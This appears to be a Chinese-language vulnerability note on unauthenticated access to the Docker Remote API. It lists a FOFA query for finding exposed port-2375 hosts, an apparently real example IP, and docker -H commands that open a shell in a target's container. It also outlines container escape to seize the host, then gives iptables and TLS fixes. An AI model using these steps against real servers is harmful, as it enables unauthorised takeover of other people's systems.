Docker Remote API未授权访问漏洞

Docker是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何流行的LINUX机器上，也可以实现虚拟化。

Docker swarm 是一个将docker集群变成单一虚拟的docker host工具，使用标准的 Docker API，能够方便docker集群的管理和扩展，由docker官方提供

》》》漏洞信息《《《

Docker Remote API如配置不当可导致未授权访问，被攻击者恶意利用。攻击者无需认证即可访问到Docker数据，可能导致敏感信息泄露，黑客也可以删除 Docker上的数据,直接访问宿主机上的敏感信息，或对敏感文件进行修改，最终完全控制服务器

步骤一：使用以下Fofa语句对Docker产品进行搜索

port="2375"

步骤二：直接使用浏览器访问以下路径

http://ip:2375/version    #查看版本信息
http://ip:2375/info       #查看容器信息
#eg
http://51.77.151.198:2375/

 

 

 步骤三：使用-H参数连接目标主机的docker，使用ps命令查询目标系统运行的镜像。

docker -H tcp://ip ps
docker -H tcp://ip version
docker -H tcp://ip exec -it 1f4 /bin/bash
操作思路：
	docker pull 下载有Docker逃逸的容器下来
	docker逃逸间接获取安装docker主机控制权限

》》》漏洞修复《《《

1. 端口访问控制

对2375端口做网络访问控制，如设置iptables策略仅允许指定的IP来访问Docker接口。

1. 使用TLS认证

修改docker swarm的认证方式，使用TLS认证：Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档，说的是配置好TLS后，Docker CLI 在发送命令到docker daemon之前，会首先发送它的证书，如果证书是由daemon信任的CA所签名的，才可以继续执行